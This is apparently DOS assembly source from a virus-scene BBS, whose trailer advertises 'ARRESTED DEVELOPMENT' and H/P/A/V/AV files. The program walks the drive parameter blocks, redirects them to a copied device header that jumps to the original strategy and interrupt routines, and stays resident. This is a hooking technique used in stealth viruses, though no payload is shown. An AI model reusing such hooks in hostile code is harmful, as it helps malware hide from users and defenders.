code segment public 'code' assume cs:code, ds:code, es:code org 100h Main: mov ah,30h ; fn 30h = Get Dosversion int 21h ; int 21h cmp al,4 ; major dosversion sbb si,si mov ah,52h ; get internal list of lists int 21h ; int 21h lds bx,es:[bx] ; get pointer to first drive ; paramenter block Search: mov ax,ds:[bx+si+15h] ; get segment of device header cmp ax,70h ; dos device header ?? jne Next ; no, go to next device cmp byte ptr ds:[bx],0 je Next xchg ax,cx mov di,ds:[bx+si+13h] ; get offset of device header mov word ptr ds:[bx+si+13h],offset Header mov ds:[bx+si+15h],cs ; set addres of new device Next: lds bx,ds:[bx+si+19h] ; next drive parameter block cmp bx,-1 ; last block ? jne Search ; no, go to Search jcxz Error mov ds,cx mov si,di push cs pop es mov di,offset Header cld movsw movsw movsw mov ax,offset Strategy stosw mov ax,offset Interrupt stosw push di mov di,offset Strategy mov al,0eah stosb movsw mov ax,cx stosw mov di,offset Interrupt mov al,0eah stosb movsw mov ax,cx stosw pop di movsw mov ax,3100h mov dx,20h int 21h Error: mov ax,4c01h int 21h Header db 12 dup(?) Interrupt db 5 dup(?) Strategy db 5 dup(?) code ends end Main  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ